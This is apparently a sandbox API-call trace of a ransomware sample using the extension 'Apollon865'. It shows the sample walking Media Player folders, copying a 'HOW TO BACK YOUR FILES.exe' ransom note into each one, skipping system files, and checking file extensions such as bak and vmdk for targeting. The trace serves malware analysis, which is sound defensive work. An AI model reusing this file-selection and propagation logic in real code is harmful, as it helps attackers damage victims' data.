	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="Apollon865.txt.exe") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2=".") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="..") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="windows") returned -1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="bootmgr") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="temp") returned -1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="pagefile.sys") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="boot") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="ids.txt") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="ntuser.dat") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="perflogs") returned 1
	[0060.988] lstrcmpiW (lpString1="Sync Playlists", lpString2="MSBuild") returned 1
	[0060.988] lstrlenW (lpString="Sync Playlists") returned 14
	[0060.988] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.Apollon865") returned 80
	[0060.988] lstrcpyW (in: lpString1=0x119e674, lpString2="Sync Playlists" | out: lpString1="Sync Playlists") returned="Sync Playlists"
	[0060.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599450
	[0060.988] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc90
	[0060.988] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 0
	[0060.988] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0060.988] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0060.988] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0060.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0060.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.988] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 68
	[0060.988] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0060.988] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0060.989] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0060.989] GetLastError () returned 0x0
	[0060.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0060.989] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0060.989] CloseHandle (hObject=0x118) returned 1
	[0060.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0060.989] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.989] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.990] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.990] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.990] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.990] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.990] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.990] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.990] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.990] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.990] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0060.990] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0060.990] lstrlenW (lpString="en-US") returned 5
	[0060.990] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*") returned 70
	[0060.990] lstrcpyW (in: lpString1=0x119e692, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0060.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x96) returned 0x599450
	[0060.990] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc90
	[0060.990] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.991] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.991] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0060.991] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0060.991] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0060.991] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0060.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0060.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.991] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned 74
	[0060.991] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0060.991] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.991] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0060.991] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0060.992] GetLastError () returned 0x0
	[0060.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0060.992] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0060.992] CloseHandle (hObject=0x118) returned 1
	[0060.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0060.992] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.992] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.992] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.992] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.992] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.992] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eeee7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.992] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.992] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.992] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.992] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.992] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ef60bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2="Apollon865.txt.exe") returned -1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2=".") returned 1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2="..") returned 1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2="windows") returned -1
	[0060.992] lstrcmpiW (lpString1="00010C6E", lpString2="bootmgr") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="temp") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="pagefile.sys") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="boot") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="ids.txt") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="ntuser.dat") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="perflogs") returned -1
	[0060.993] lstrcmpiW (lpString1="00010C6E", lpString2="MSBuild") returned -1
	[0060.993] lstrlenW (lpString="00010C6E") returned 8
	[0060.993] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*") returned 76
	[0060.993] lstrcpyW (in: lpString1=0x119e69e, lpString2="00010C6E" | out: lpString1="00010C6E") returned="00010C6E"
	[0060.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0060.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x599450
	[0060.993] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc90
	[0060.993] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.993] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.993] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2eeee7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2eeee7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0060.993] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0060.993] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc70
	[0060.993] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0060.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0060.993] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0060.993] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned 83
	[0060.993] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E"
	[0060.993] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0060.994] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0060.994] GetLastError () returned 0x0
	[0060.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0060.994] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0060.994] CloseHandle (hObject=0x118) returned 1
	[0060.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0060.994] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.994] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ef60bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.994] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.995] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.995] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ef60bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ef60bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.995] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.995] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.995] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".") returned 1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="..") returned 1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="windows") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="bootmgr") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="temp") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="pagefile.sys") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="boot") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ids.txt") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="ntuser.dat") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="perflogs") returned -1
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="MSBuild") returned -1
	[0060.995] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0060.995] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*") returned 85
	[0060.995] lstrcpyW (in: lpString1=0x119e6b0, lpString2="01_Music_auto_rated_at_5_stars.wpl" | out: lpString1="01_Music_auto_rated_at_5_stars.wpl") returned="01_Music_auto_rated_at_5_stars.wpl"
	[0060.995] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0060.995] lstrlenW (lpString="Apollon865") returned 10
	[0060.995] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0060.995] lstrlenW (lpString=".dll") returned 4
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".dll") returned 1
	[0060.995] lstrlenW (lpString=".lnk") returned 4
	[0060.995] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".lnk") returned 1
	[0060.996] lstrlenW (lpString=".ini") returned 4
	[0060.996] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".ini") returned 1
	[0060.996] lstrlenW (lpString=".sys") returned 4
	[0060.996] lstrcmpiW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2=".sys") returned 1
	[0060.996] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34
	[0060.996] lstrlenW (lpString="bak") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0060.996] lstrlenW (lpString="ba_") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0060.996] lstrlenW (lpString="dbb") returned 3
	[0060.996] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0060.996] lstrlenW (lpString="vmdk") returned 4
